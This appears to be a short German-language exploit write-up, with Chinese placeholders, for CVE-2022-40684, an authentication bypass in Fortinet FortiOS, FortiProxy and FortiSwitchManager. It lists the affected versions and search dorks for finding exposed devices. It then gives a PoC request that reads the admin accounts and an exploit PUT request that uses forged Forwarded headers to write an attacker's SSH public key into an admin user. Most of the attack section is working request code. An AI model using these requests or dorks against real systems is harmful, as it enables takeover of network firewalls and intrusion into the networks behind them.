CVE-2022-40684

CVE-2022-40684

Recht und Ordnung beachten:

Jede Person und jede Organisation, die das Netzwerk nutzt, muss sich an die Verfassung und die Gesetze halten, die öffentliche Ordnung wahren, die sozialen Sitten respektieren, darf die Cybersicherheit nicht gefährden und darf das Netzwerk nicht für Handlungen nutzen, die die nationale Sicherheit, Ehre und Interessen gefährden.

Schwachstellenübersicht:

Fortinet (飞塔) ist ein weltweit bekannter Anbieter von Netzwerksicherheitsprodukten und Sicherheitslösungen. Zu den Produkten gehören Firewalls, Antivirensoftware, Intrusion-Prevention-Systeme und Endpoint-Sicherheitskomponenten. In der Verwaltungsoberfläche der betroffenen FortiOS-, FortiProxy- und FortiSwitchManager-Produkte kann die Authentifizierung durch die Verwendung alternativer Pfade oder Kanäle umgangen werden, und auf die Verwaltungsoberfläche kann ohne Authentifizierung über speziell gestaltete HTTP- oder HTTPS-Anfragen zugegriffen werden.

Risikostufe :

Hoch

Betroffene Versionen:

FortiOS Version 7.2.0 - 7.2.1

FortiOS Version 7.0.0 - 7.0.6

FortiProxy Version 7.2.0

FortiProxy Version 7.0.0 - 7.0.6

FortiSwitchManager Version 7.2.0

FortiSwitchManager Version 7.0.0

Asset-Ermittlung:

title="FortiProxy“

title="FortiGate"

Reproduktion der Schwachstelle:

poc

GET /api/v2/cmdb/system/admin HTTP/1.1
Host: 目标
User-Agent: Node.js
Accept-Encoding: gzip, deflate
Accept: */*
Hosts: 127.0.0.1:9980
Forwarded: by="[127.0.0.1]:80";for="[127.0.0.1]:49490";proto=http;host=
X-Forwarded-Vdom: root

EXP

PUT /api/v2/cmdb/system/admin/用户名 HTTP/2
Host: 目标
User-Agent: Report Runner
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Forwarded: for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"
Content-Length: 589
Content-Type: application/json

{"ssh-public-key1": "\"公钥内容\""}